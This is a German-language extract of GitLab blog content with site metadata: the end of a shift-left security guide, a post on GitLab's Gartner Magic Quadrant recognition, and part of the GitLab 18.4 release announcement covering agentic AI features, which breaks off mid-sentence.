Serverinfrastruktur funktionieren.\n\nDiese Tools können einzeln oder kombiniert verwendet werden. Effektiver ist jedoch eine [automatisierte Sicherheitsplattform](https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/), die Risiken in allen Phasen des Entwicklungszyklus erkennt – von der Codierung bis zur Bereitstellung. So können DevOps-Teams Schwachstellen frühzeitig und systematisch beheben.\n\n**Lesetipp:** [SAST vs. DAST - Die Unterschiede erklärt](https://about.gitlab.com/de-de/topics/devsecops/sast-vs-dast/)\n\n## **Vorteile der Shift Left Security**\n\nDie Linksverschiebung sicherheitsrelevanter Maßnahmen führt zu einer Reihe von Vorteilen für Unternehmen und Entwickler(innen).\n\n* **Frühzeitiges Erkennen von Sicherheitsrisiken:** Durch Sicherheitsanalysen direkt im Code oder bei der Integration von Abhängigkeiten lassen sich Schwachstellen erkennen, bevor sie in produktive Systeme gelangen. Dies verschafft Entwickler(innen) mehr Zeit für die Reaktion und reduziert die potenzielle Bedrohung (beispielsweise durch Exploits oder Datenlecks) erheblich.\n* **Geringere Kosten für Fehlerbehebung:** Je später ein Sicherheitsfehler entdeckt wird, desto teurer ist seine Behebung. Wird eine Schwachstelle bereits vor dem Build entdeckt, reicht oft eine einfache Codeänderung – ohne zusätzlichen Aufwand für Tests oder Deployments. Wird das Problem erst in der Produktion bemerkt, ist der Aufwand deutlich höher und der gesamte Prozess kann Wochen dauern. Frühes Eingreifen spart Zeit, senkt die Kosten und ermöglicht es Entwickler(innen), sich stärker auf neue Funktionen statt auf Notfallpatches zu konzentrieren.\n* **Schnellere Entwicklungszyklen:** Sicherheitsprobleme lassen sich schneller beheben, solange sie nur im Quellcode bestehen. Wird ein Problem erst kurz vor dem Release oder in der Produktion entdeckt, verlängert sich der Behebungsprozess deutlich – mit der Gefahr, gesetzte Fristen zu verpassen und die Time-to-Market zu verlangsamen.\n* **Bessere Codequalität:** Sicherheitsüberprüfungen fördern eine saubere Code-Architektur, konsistente Implementierung und verständlichen Code. So entstehen robuste und wartbare Anwendungen.\n* **Bessere Zusammenarbeit:** Shift Left Security fördert die Zusammenarbeitzwischen Entwickler(innen) und Security-Teams. Wird ein Sicherheitsproblem früh im Quellcode erkannt, können beide Seiten gemeinsam daran arbeiten, ohne Schuldzuweisungen oder Zeitdruck. Das verbessert die Kommunikation und stärkt das gegenseitige Verständnis.\n* **Reduziertes Risiko im Live-Betrieb:** Wird eine Schwachstelle erst im laufenden Betrieb entdeckt, sind schnelle und oft drastische Maßnahmen nötig – etwa das Abschalten der App. Wird die Schwachstelle hingegen bereits während der Entwicklung identifiziert, lässt sie sich mit geringem Aufwand und ohne größere Auswirkungen auf Nutzer(innen) beheben.\n\n## **Best Practices für deinen Shift Left Security Ansatz**\n\nShift Left Security erfordert die frühzeitige und umfassende Integration von Sicherheitsmaßnahmen in den Entwicklungsprozess – idealerweise ab dem ersten Moment, in dem Entwickler(innen) mit dem Programmieren beginnen. Die Sicherheitsprüfung soll nicht nachgelagert, sondern integraler Bestandteil der täglichen Entwicklungsarbeit sein. Damit das gelingt, solltest du auf Best Practices zurückgreifen.\n\n### **\\#1 Integration von Sicherheitsmaßnahmen in die CI/CD-Pipeline**\n\nSicherheits-Scans sind ein zentrales Element des Shift-Left-Ansatzes. Ihre volle Wirkung entfalten sie aber nur, wenn die Ergebnisse unmittelbar in die[ DevOps-Toolkette](https://about.gitlab.com/de-de/topics/ci-cd/shift-left-devops/) eingebunden sind. Reports sollten direkt im CI/CD-Pipeline-Bericht angezeigt werden, sodass Entwickler(innen) sie ohne Umwege nutzen können. Zusätzlich sollte die Erstellung einer Software Bill of Materials (SBOM) automatisiert werden, um alle verwendeten Abhängigkeiten, Container-Images und serverlosen Funktionen transparent zu erfassen und systematisch auf bekannte Schwachstellen zu prüfen.\n\n### **\\#2 Anwendung von Security-Tools in der Entwicklungsumgebung**\n\nSicherheitsfunktionen sollten direkt in die Entwicklungsumgebung eingebunden werden, damit Schwachstellen bereits vor Übertragung in den Main Branch erkannt werden. Durch die Integration in die vertrauten Toolsets der Entwickler(innen) wird eine kontinuierliche Zusammenarbeit mit dem Security-Team ermöglicht und der Aufwand für nachträgliche Korrekturen deutlich reduziert.\n\n### **\\#3 Schulung von Entwickler(innen)**\n\nDamit Entwickler(innen) die Anwendungssicherheit bereits frühzeitig im Prozess berücksichtigen, ist eine intensive Schulung notwendig. Entwicklerteams müssen verstehen, warum sie Sicherheitsprüfungen frühzeitig durchführen – und welchen Beitrag das zur Gesamtqualität und Stabilität der Anwendung leistet. Dazu eignen sich praxisnahe und rollenbezogene Schulungsformate wie z. B. Code Labs, Code Guidelines oder Hands-on-Training.\n\n### **\\#4 Integration von Security Reviews in Code Reviews und Pull Requests**\n\nSicherheit sollte auch Teil von [Code Reviews](https://about.gitlab.com/de-de/topics/version-control/what-is-code-review/) sein. Teams können z. B. Checklisten mit sicherheitsrelevanten Aspekten verwenden. Pair Programming bietet zusätzlich die Möglichkeit, Sicherheit direkt beim Schreiben des Codes mitzudenken – vor allem in frühen Projektphasen.\n\n## **HackerOne + GitLab: Setze Shift Left Security einfach und kostengünstig um**\n\nEine der größten Herausforderungen für die Umsetzung der Shift Left Sicherheit für Entwicklerteams ist eine aufgeblähte Toolchain. Der Wechsel zwischen Tools und unklare Rollenverteilungen können die frühzeitige Integration von Sicherheitsüberprüfungen behindern.\n\nGitLab bietet mit HackerOne eine integrierte Lösung, die Security-Teams und Entwickler(innen) effektiv verbindet. Sicherheitslücken, die über HackerOne gemeldet und validiert werden, werden automatisch in GitLab als Tickets angelegt. Diese enthalten unter anderem:\n\n* Synchronisation von Kommentaren\n* Statusänderungen\n* Zuständigkeiten\n* Belohnungen\n* Fälligkeitsdaten\n\nDie Kommunikation erfolgt dabei bidirektional zwischen beiden Plattformen. Die Integration ermöglicht es somit Entwickler(innen), im gewohnten Workflow zu bleiben und Sicherheitslücken direkt zu bearbeiten.\n\n### **Auswirkungen der automatisierten Sicherheitsintegration**\n\nDie Integration von HackerOne und GitLab führt in der Praxis zu:\n\n* Bis zu 70 Prozent Zeitersparnis von der Entdeckung bis zur Behebung von Schwachstellen\n* Erhöhte Transparenz über den Sicherheitsstatus im gesamten Unternehmen\n* Effektivere Nutzung der Ressourcen im Security-Team\n* Gesteigerte Zufriedenheit der Entwickler(innen), da sie im bevorzugten Workflow bleiben können\n\n## **Keine Kompromisse bei der Shift Left Security**\n\nShift Left Security verschiebt das Thema Sicherheit weg von der Endkontrolle hin zur kontinuierlichen Begleitung des Entwicklungsprozesses. Durch Tools wie SAST, DAST, SCA und Container-Scanning lassen sich Schwachstellen frühzeitig identifizieren – noch bevor sie produktiv wirksam werden. Das senkt Kosten, reduziert Risiken und beschleunigt Entwicklungszyklen.\n\nErfolgreich ist dieser Ansatz jedoch nur, wenn Sicherheitsprüfungen eng in die[ CI/CD-Pipeline](https://about.gitlab.com/de-de/topics/ci-cd/cicd-pipeline/) und Entwicklungsumgebungen integriert werden und Entwickler(innen) durch gezielte Schulungen und klare Prozesse unterstützt werden. Die Fallstudie zu GitLab und HackerOne zeigt zudem, dass integrierte Plattformen Kontextwechsel vermeiden und die Effizienz deutlich steigern können. Entscheidend für eine nachhaltige Umsetzung ist eine Sicherheitskultur, in der Entwicklung und Security partnerschaftlich und auf Augenhöhe zusammenarbeiten.","2025-09-25",{"featured":6,"template":682,"slug":705},"devsecops-shift-left-guide","content:de-de:blog:devsecops-shift-left-guide.yml","Devsecops Shift Left Guide","de-de/blog/devsecops-shift-left-guide.yml","de-de/blog/devsecops-shift-left-guide",{"_path":711,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":712,"content":716,"config":724,"_id":726,"_type":16,"title":727,"_source":17,"_file":728,"_stem":729,"_extension":20},"/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-devops-platforms",{"config":713,"title":714,"description":715},{"noIndex":6},"GitLab als Leader im 2025 Gartner Magic Quadrant ausgezeichnet","Zum dritten Mal als Leader ausgezeichnet – GitLab liefert seit über 150 Monaten jeden Monat neue Innovationen für DevOps-Teams.",{"title":717,"description":715,"authors":718,"heroImage":720,"date":703,"body":721,"category":680,"tags":722},"GitLab als Leader im 2025 Gartner Magic Quadrant für DevOps-Plattformen ausgezeichnet",[719],"Manav Khurana","https://res.cloudinary.com/about-gitlab-com/image/upload/v1758812952/yxhgljkwljld0lyizmaz.png","Zum dritten Mal in Folge wurde GitLab als **Leader im 2025 Gartner® Magic Quadrant™ für DevOps-Plattformen** ausgezeichnet – basierend auf der Fähigkeit zur Umsetzung und der Vollständigkeit der Vision.\n\nWir glauben, dass diese Anerkennung unsere umfassende Plattformstrategie in einem kritischen Moment für die Softwareentwicklung bestätigt. Unternehmen wetteifern darum, KI-gestützte Funktionen zu übernehmen und gleichzeitig Sicherheit, Compliance und operative Exzellenz aufrechtzuerhalten. Erfolg erfordert einen einheitlichen Plattformansatz, der die Art und Weise transformiert, wie Teams zusammenarbeiten und Mehrwert liefern.\n\nOb unsere Kunden agile Software bereitstellen, Cloud-native Anwendungen entwickeln oder Plattformen konstruieren – GitLab ermöglicht es ihnen, im Einklang mit KI-Agenten zusammenzuarbeiten, um sichere und zuverlässige Software schneller zu liefern.\n\n![2025 Gartner® Magic Quadrant™ für DevOps-Plattformen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758812615/sfchvkvtczmzqlaalk7y.png)\n\n\u003Cp>\u003C/p>\n\n> [Lade den Report herunter](https://about.gitlab.com/de-de/gartner-magic-quadrant/), um mehr zu erfahren.\n\n## Schnellere Time-to-Value\n\nUnsere Mission ist es, allen zu ermöglichen, zur Software beizutragen und sie mitzugestalten, die unsere Welt antreibt. [Das rasante Tempo unserer Innovationsagenda](https://about.gitlab.com/de-de/blog/gitlab-18-4-ai-native-development-with-automation-and-insight/) zeigt, dass wir noch lange nicht fertig sind. Wir haben unseren Kunden über 150 Monate hinweg jeden Monat neue Lösungen geliefert, und diese Tradition wird fortgesetzt.\n\nWährend wir die Branche anführen, bleiben wir unserem Engagement treu, unseren Kunden dabei zu helfen, diese neuen Funktionen in Geschäftswert umzusetzen.\n\nWir sind fest davon überzeugt, dass in dieser Ära beschleunigter KI-gestützter Innovation im gesamten Technologie-Ökosystem [ein einheitlicher Plattformansatz](https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/) zur Bewältigung der schwierigsten Engineering-Herausforderungen unserer Kunden wichtiger denn je ist. Dieser Ansatz ermöglicht es Organisationen, Integrations-Overhead zu reduzieren, Sicherheitslücken zu schließen und Innovationen zu übernehmen, ohne bestehende Software-Delivery-Workflows zu stören.\n\nHier sind einige Beispiele:\n\n* **Beschleunige Releases mit agentischer KI:** Fragmentierte Toolchains verlangsamen Code Reviews und Tests. GitLab Duo Agents und Flows automatisieren Aufgaben wie Code Reviews, Testgenerierung und Vulnerability Triage im Kontext der vollständigen Plattform und helfen Teams, Zykluszeiten zu verkürzen und die Qualität zu verbessern.\n* **Von Anfang an sicher entwickeln:** Viele Organisationen behandeln Sicherheit als nachträglichen Gedanken, was zu kostspieliger Nacharbeit und Compliance-Lücken führt. GitLab bettet Scanning, Policy-Durchsetzung und Compliance-Checks in alltägliche Workflows ein und erkennt Risiken früher, ohne Entwickler auszubremsen.\n* **Mit Flexibilität deployen:** Teams mit strengen regulatorischen oder operativen Einschränkungen benötigen Deployment-Optionen jenseits von Multi-Tenant-SaaS. GitLab unterstützt SaaS, Self-Managed, Air-Gapped und [FedRAMP Moderate autorisierte](https://about.gitlab.com/press/releases/2025-05-19-gitlab-announces-gitlab-achieves-fedramp-moderate-authorization/) Umgebungen und stellt sicher, dass Kunden die Kontrolle behalten, wo Wettbewerber das nicht können.\n* **Konsistente Innovation liefern:** Tool-Fragmentierung macht die Übernahme neuer Features riskant und störend. GitLabs monatliche Releases liefern neue Funktionen wie [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/), erweiterte KI-Governance und Cloud-Integrationen, die Teams ohne Umrüstung übernehmen können.\n\n## Kundenanwendungsfälle, die wirklich zählen\n\nGitLab unterstützt die folgenden Innovationsbereiche:\n\n* **[Integriertes Toolset](https://about.gitlab.com/platform/)** für Cloud-native Bereitstellung und Unternehmensskalierung\n* **[Erweiterte Planungstools](https://about.gitlab.com/solutions/agile-delivery/)** und **[umfangreiche Sicherheitsfunktionen](https://about.gitlab.com/solutions/application-security-testing/)**\n* **[Package Management](https://about.gitlab.com/stages-devops-lifecycle/package/)** und Feature Flags für progressive Bereitstellung\n* **[Value Stream Metriken](https://about.gitlab.com/solutions/analytics-and-insights/)** für Sichtbarkeit und Verbesserung über den gesamten Lebenszyklus\n* **[KI-native Workflows](https://about.gitlab.com/gitlab-duo/agent-platform/)**, direkt in tägliche Aufgaben eingebettet\n\nDiese Vielseitigkeit führt zu echtem Kundenwert, wie Bal Kang, Engineering Platform Lead bei NatWest, erklärt:\n\n*„GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten verstehen Absichten, zerlegen Probleme und werden aktiv – sie werden zu echten Mitarbeitern unserer Teams.\"*\n\nDie Verlagerung hin zu einheitlichen Plattformen stellt eine grundlegende Veränderung dar, wie Organisationen an die Softwareentwicklung herangehen. Wir glauben, dass Gartner® uns deshalb kürzlich auch [als Leader im 2025 Magic Quadrant™ für AI Code Assistants](https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/) ausgezeichnet hat.\n\nDa Unternehmen die Entwicklerproduktivität sicher maximieren und Innovation beschleunigen möchten, wird ein umfassender Plattformansatz dringender denn je.\n\n> [Lade den Report herunter](https://about.gitlab.com/de-de/gartner-magic-quadrant/), um mehr zu erfahren.\n\n*GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.*\n\n*Gartner befürwortet keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologiebenutzern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Bezeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Forschungsorganisation von Gartner und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich jeglicher Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.*\n\n*Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage bei Gartner B.V. erhältlich.*\n\n*Quelle: Gartner, Magic Quadrant for DevOps Platforms, Keith Mann, Thomas Murphy, Bill Holz, George Spafford, 22. September 2025*",[680,723,699],"news",{"featured":92,"template":682,"slug":725},"gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-devops-platforms","content:de-de:blog:gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-devops-platforms.yml","Gitlab Named A Leader In The 2025 Gartner Magic Quadrant For Devops Platforms","de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-devops-platforms.yml","de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-devops-platforms",{"_path":731,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":732,"content":736,"config":747,"_id":749,"_type":16,"title":750,"_source":17,"_file":751,"_stem":752,"_extension":20},"/de-de/blog/gitlab-18-4-ai-native-development-with-automation-and-insight",{"config":733,"title":734,"description":735},{"noIndex":6},"GitLab 18.4: KI-native Entwicklung mit Automatisierung","Mit GitLab 18.4 erstellst du eigene Agents, nutzt Knowledge Graph-Kontext und reparierst Pipelines automatisch.",{"title":737,"description":738,"authors":739,"heroImage":741,"date":742,"body":743,"category":677,"tags":744},"GitLab 18.4: KI-native Entwicklung, voll automatisiert und transparent","Mit GitLab 18.4 erstellst du eigene Agents, nutzt Knowledge Graph-Kontext und reparierst Pipelines automatisch – damit Entwickler(innen) immer im Flow bleiben!",[740],"Bill Staples","https://res.cloudinary.com/about-gitlab-com/image/upload/v1758541195/kig7sww6jyvxzmkmimbv.png","2025-09-23","Als Entwickler(in) weißt du: Moderne Entwicklung bedeutet mehr als nur Code schreiben – es geht um das Management von Änderungen über den gesamten Software-Entwicklungszyklus hinweg.\n\nMit [GitLab 18.3](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/) haben wir das Fundament für echte Mensch-KI-Zusammenarbeit gelegt. Wir integrierten führende KI-Tools wie Claude Code, Codex CLI, Amazon Q CLI und Gemini CLI nativ in GitLab, lieferten unsere erste Vorschau des GitLab Model Context Protocol ([MCP](https://about.gitlab.com/topics/ai/model-context-protocol/))-Servers in Partnerschaft mit Cursor und veröffentlichten zwei neue Flows – Issue to MR und Convert CI File for Jenkins Flows – um Teams bei alltäglichen Herausforderungen zu unterstützen.\n\nMit [GitLab 18.4](https://about.gitlab.com/releases/2025/09/18/gitlab-18-4-released/) erweitern wir deine Möglichkeiten, eigene Agents zu erstellen und zu teilen, effektiver durch Agentic Chat zusammenzuarbeiten, Codebasen mit dem Knowledge Graph zu navigieren und Pipelines mit dem Fix Failed Pipelines Flow grün zu halten – während wir gleichzeitig mehr Sicherheit und Governance für deine KI-Nutzung bieten.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1120293274?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.4 Release video placeholder\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> Hast du Fragen zu den neuesten Features in GitLab 18.4? [Sei bei The Developer Show dabei](https://www.linkedin.com/events/q-a-code-exploringgitlab18-4and7373772262312906753/theater/) – live auf LinkedIn am 23. September um 10:00 Uhr PT (19:00 Uhr in Europa) oder kurz danach auf Abruf!\n\n## Gestalte deine Experience\n\n*Starte deinen Tag mit dem AI Catalog – einer Bibliothek spezialisierter Agents, die Prioritäten aufzeigen, Routinearbeit automatisieren und dich auf das Wesentliche fokussiert halten.*\n\n### AI Catalog als deine Bibliothek spezialisierter Agents\n\nMit GitLab 18.4 führen wir den GitLab Duo AI Catalog ein – eine zentrale Bibliothek, in der Teams maßgeschneiderte Agents erstellen, teilen und unternehmensweit nutzen können. Jedes Team hat seine eigene Arbeitsweise. Ein Custom Agent zu erstellen ist daher wie das Einarbeiten eines neuen Kollegen in die „richtige\" Arbeitsweise deiner Organisation.\n\nZum Beispiel kann ein Custom Product Planning Agent Bugs im spezifischen Format mit deinen Labeling-Standards erfassen, ein Technical Writer Agent kann prägnante Dokumentation nach deinen Konventionen verfassen, oder ein Security Agent stellt sicher, dass deine Sicherheits- und Compliance-Standards bei jedem MR eingehalten werden. Statt als isolierte Tools zu funktionieren, werden diese Agents Teil des natürlichen Arbeitsflusses in GitLab – sie beschleunigen Aufgaben ohne etablierte Prozesse zu stören.\n\n**Hinweis:** Diese Funktion ist derzeit nur auf GitLab.com verfügbar. Für Self-Managed-Kunden planen wir die Bereitstellung nächsten Monat mit Release 18.5.\n\n## Bleib im Flow\n\n*GitLab Duo Agentic Chat macht die Zusammenarbeit mit Agents nahtlos.*\n\n### Smarterer Agentic Chat für optimierte Zusammenarbeit mit Agents\n\nAls Herzstück der GitLab Duo Agent Platform bietet dir [Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/) eine nahtlose Möglichkeit, mit KI-Agents zusammenzuarbeiten. Das neueste Update des Agentic Chat mit GitLab 18.4 verbessert das Chat-Erlebnis und erweitert die Verwaltung und Darstellung von Sessions.\n\n* **Chat mit Custom Agents**\n\n  Starten wir mit deinem neu erstellten Custom Agent. Einmal designt, kannst du diesen Agent sofort über Agentic Chat einsetzen. Du könntest deinen neuen Agent beispielsweise fragen: „Zeig mir meine Aufgaben für heute\", um mit deinen Prioritäten zu starten. Zusätzlich hast du jetzt die Möglichkeit, neue Unterhaltungen mit neuen Agents zu beginnen und vorherige Unterhaltungen fortzusetzen, ohne den Kontext zu verlieren.\n* **[Modellauswahl für Nutzer](https://docs.gitlab.com/user/gitlab_duo/model_selection/#select-a-model-to-use-in-gitlab-duo-agentic-chat)**\n\n  Mit früheren Releases konntest du Modelle auf Namespace-Ebene auswählen, aber mit 18.4 kannst du nun Modelle auf Nutzerebene für eine bestimmte Chat-Session wählen. Das ermächtigt dich, zu entscheiden, welches LLM für die jeweilige Aufgabe geeignet ist, oder mit verschiedenen LLMs zu experimentieren, um zu sehen, welches die beste Antwort für deine Aufgabe liefert.\n* **Verbesserte Formatierung und visuelles Design**\n\n  Wir hoffen, du liebst das neue visuelle Design für GitLab Duo Agentic Chat, einschließlich verbesserter Handhabung von Tool-Call-Genehmigungen für ein angenehmeres Erlebnis.\n* **Agent Sessions verfügbar über Agentic Chat**\n\n  Sessions werden zu einem zentralen Bestandteil des Agentic Chat-Erlebnisses. Jeder Agent-Run oder Flow erscheint nun in der Sessions-Übersicht, die über Agentic Chat verfügbar ist. In jeder Session siehst du detaillierte Informationen wie Job-Logs, Nutzerinformationen und Tool-Metadaten – das bietet wichtige Transparenz darüber, wie Agents in deinem Auftrag arbeiten.\n\n  **Hinweis:** Sessions in Agentic Chat ist nur auf GitLab.com verfügbar. Diese Verbesserung ist für Self-Managed-Kunden nächsten Monat im 18.5-Update geplant.\n\n## Erschließe deine Codebase\n\n*Bei Agents ist Kontext entscheidend. Mit Knowledge Graph gibst du deinen Agents mehr Kontext, damit sie schneller analysieren und dir bessere Ergebnisse liefern können.*\n\n### Neu: Der GitLab Knowledge Graph (Beta)\n\nDer [GitLab Knowledge Graph](https://gitlab-org.gitlab.io/rust/knowledge-graph/) in 18.4 transformiert, wie Entwickler und Agents komplexe Codebasen verstehen und navigieren. Der Knowledge Graph bietet eine vernetzte Karte deines gesamten Projekts und verknüpft Dateien, Routen und Referenzen über den Software-Entwicklungszyklus hinweg. Durch Tools wie Go-to-Definition, Codebase-Suche und Referenz-Tracking über In-Chat-Queries erhalten Entwickler die Möglichkeit, präzise Fragen zu stellen wie „Zeig mir alle Route-Dateien\" oder „Was ist noch von dieser Änderung betroffen?\"\n\nDieser tiefere Kontext hilft Teams, schneller und mit mehr Vertrauen zu arbeiten – egal ob es um das Onboarding neuer Mitwirkender geht, tiefgehende Recherche in einem Projekt oder die Untersuchung, wie eine Änderung abhängigen Code beeinflusst. Je mehr von deinem Ökosystem in GitLab lebt, desto mächtiger wird der Knowledge Graph und gibt sowohl Menschen als auch KI-Agents das Fundament, mit Genauigkeit, Geschwindigkeit und vollem Projektbewusstsein zu bauen. In zukünftigen Releases werden wir alle deine GitLab-Daten in den Knowledge Graph einbinden, einschließlich Plans, MRs, Sicherheitslücken und mehr.\n\nDieses Release des Knowledge Graph fokussiert sich auf lokale Code-Indexierung, bei der das `gkg` CLI deine Codebase in eine lebendige, einbettbare Graph-Datenbank für RAG verwandelt. Du kannst es mit einem einfachen Einzeiler-Script installieren, lokale Repositories parsen und über MCP verbinden, um deinen Workspace abzufragen.\n\nUnsere Vision für das Knowledge Graph-Projekt ist zweigeteilt: Wir bauen eine lebendige Community Edition, die Entwickler heute schon lokal ausführen können, die als Fundament für einen zukünftigen, vollständig integrierten Knowledge Graph Service innerhalb von GitLab.com und Self-Managed-Instanzen dienen wird.\n\n## Automatisiere deine Pipeline-Wartung\n\n*Behebe Pipeline-Fehler schneller und bleib im Flow mit dem Fix Failed Pipelines Flow.*\n\n### Fix Failed Pipelines Flow mit Business-Bewusstsein\n\nPipelines grün zu halten ist entscheidend für deine Entwicklungsgeschwindigkeit, aber traditionelle Ansätze konzentrieren sich nur auf technische Fehlersuche ohne Berücksichtigung der geschäftlichen Auswirkungen. Der **Fix Failed Pipelines Flow** adressiert diese Herausforderung, indem er technische Analyse mit strategischem Kontext kombiniert. Er kann beispielsweise automatisch priorisieren, eine fehlgeschlagene Deployment-Pipeline für einen kundenorientierten Service vor einem nächtlichen Test-Job zu reparieren oder Build-Probleme in einem hochpriorisierten Release-Branch anders zu kennzeichnen als in experimentellen Feature-Branches.\n\n* **Business-bewusste Fehlererkennung** überwacht Pipeline-Ausführungen und versteht dabei die Bedeutung verschiedener Workflows und Deployment-Ziele.\n* **Kontextuelle Ursachenanalyse** analysiert Fehlerprotokolle zusammen mit Geschäftsanforderungen, kürzlichen Änderungen und projektübergreifenden Abhängigkeiten, um die zugrunde liegenden Ursachen zu identifizieren.\n* **Strategische Fix-Priorisierung** generiert geeignete Fixes unter Berücksichtigung von geschäftlichen Auswirkungen, Deadlines und Prioritäten bei der Ressourcenzuweisung.\n* **Workflow-integrierte Lösung** erstellt automatisch Merge Requests mit Fixes, die ordnungsgemäße Review-Prozesse beibehalten und gleichzeitig geschäftlichen Kontext für Priorisierungsentscheidungen liefern.\n\nDieser Flow hält Pipelines grün und wahrt dabei die strategische Ausrichtung, sodass automatisierte Fixes Geschäftsziele unterstützen, anstatt nur technische Probleme isoliert zu lösen.\n\n## Personalisiere deine KI-Umgebung\n\n*Automatisierung funktioniert nur, wenn du den Modellen dahinter vertraust. Deshalb liefert 18.4 Governance-Features wie Modellauswahl und GitLab-verwaltete Schlüssel.*\n\n### GitLab Duo Modellauswahl zur Optimierung der Feature-Performance\n\nDie [Modellauswahl](https://docs.gitlab.com/user/gitlab_duo/model_selection/) ist jetzt allgemein verfügbar und gibt dir direkte Kontrolle darüber, welche Large Language Models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) GitLab Duo antreiben. Du und dein Team könnt die Modelle eurer Wahl auswählen, sie unternehmensweit anwenden oder pro Feature anpassen. Du kannst Standards setzen, um Konsistenz über Namespaces und Tools hinweg zu gewährleisten, mit Governance-, Compliance- und Sicherheitsanforderungen im Blick.\n\nFür Kunden, die GitLab Duo Self-Hosted nutzen, bietet die neu hinzugefügte Unterstützung für GPT OSS und GPT-5 zusätzliche Flexibilität für KI-gestützte Entwicklungs-Workflows.\n\n**Hinweis:** GitLab Duo Self-Hosted ist für GitLab.com-Kunden nicht verfügbar, und GPT-Modelle werden auf GitLab.com nicht unterstützt.\n\n## Schütze deinen sensiblen Kontext\n\n*Neben Governance kommt Datenschutz, der dir feingranulare Kontrolle darüber gibt, was KI sehen kann und was nicht.*\n\n### GitLab Duo Context Exclusion für granularen Datenschutz\n\nEs ist keine Überraschung – du brauchst granulare Kontrolle darüber, auf welche Informationen KI-Agents zugreifen können. **GitLab Duo Context Exclusion** in 18.4 bietet Einstellungen auf Projektebene, mit denen Teams bestimmte Dateien oder Dateipfade vom KI-Zugriff ausschließen können. Zu den Funktionen gehören:\n\n* **Datei-spezifische Ausschlüsse** zum Schutz sensibler Dateien wie Passwort-Konfigurationen, Secrets und proprietäre Algorithmen.\n* **Pfad-basierte Regeln** zur Erstellung von Ausschlussmustern basierend auf Verzeichnisstrukturen oder Dateinamenskonventionen.\n* **Flexible Konfiguration** zur Anwendung von Ausschlüssen auf Projektebene bei gleichzeitiger Aufrechterhaltung der Entwicklungs-Workflow-Effizienz.\n* **Audit-Sichtbarkeit** zur Verfolgung, welche Inhalte ausgeschlossen sind, um die Einhaltung von Daten-Governance-Richtlinien zu unterstützen.\n\nGitLab Duo Context Exclusion hilft dir, sensible Daten zu schützen, während du die Entwicklung mit agentischer KI beschleunigst.\n\n## Erweitere deine KI-Fähigkeiten mit neuen MCP-Tools\n\n*Erweiterte MCP-Tools erweitern diese Fähigkeiten noch weiter und verbinden deine GitLab-Umgebung mit einem breiteren Ökosystem intelligenter Agents.*\n\n### Neue Tools für GitLab MCP Server\n\nAufbauend auf dem in [18.3](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/) eingeführten initialen MCP-Server fügt GitLab 18.4 weitere MCP-Tools hinzu – Funktionen, die definieren, wie MCP-Clients mit GitLab interagieren. Diese neuen Tools erweitern die Integrationsmöglichkeiten und ermöglichen sowohl First-Party- als auch Third-Party-KI-Agents, komplexere Aufgaben zu übernehmen, wie den Zugriff auf Projektdaten, die Durchführung von Code-Operationen oder die Suche über Repositories hinweg – alles unter Beachtung bestehender Sicherheits- und Berechtigungsmodelle. Eine vollständige Liste der MCP-Tools, einschließlich der neuen Ergänzungen in 18.4, findest du in unserer [MCP-Server-Dokumentation](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/).\n\n## Erlebe die Zukunft der intelligenten Software-Entwicklung\n\nMit der [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) können Ingenieure von der Arbeit an einzelnen Issues in sequenzieller Weise zu Multi-Thread-Zusammenarbeit mit asynchronen Agents übergehen, die wie Teamkollegen agieren, um Arbeit schneller zu erledigen. Wir bringen diese einzigartige Vision mit den Präferenzen unserer Kunden für Unabhängigkeit und Wahlfreiheit auf den Markt: Betreibe sie in deinen bevorzugten Cloud-Umgebungen mit den LLMs und KI-Tools, die für dich am besten funktionieren, innerhalb der von dir festgelegten Sicherheits- und Compliance-Leitplanken.\n\nAls integraler Bestandteil dieser Innovation ist GitLab 18.4 mehr als ein Software-Upgrade – es geht 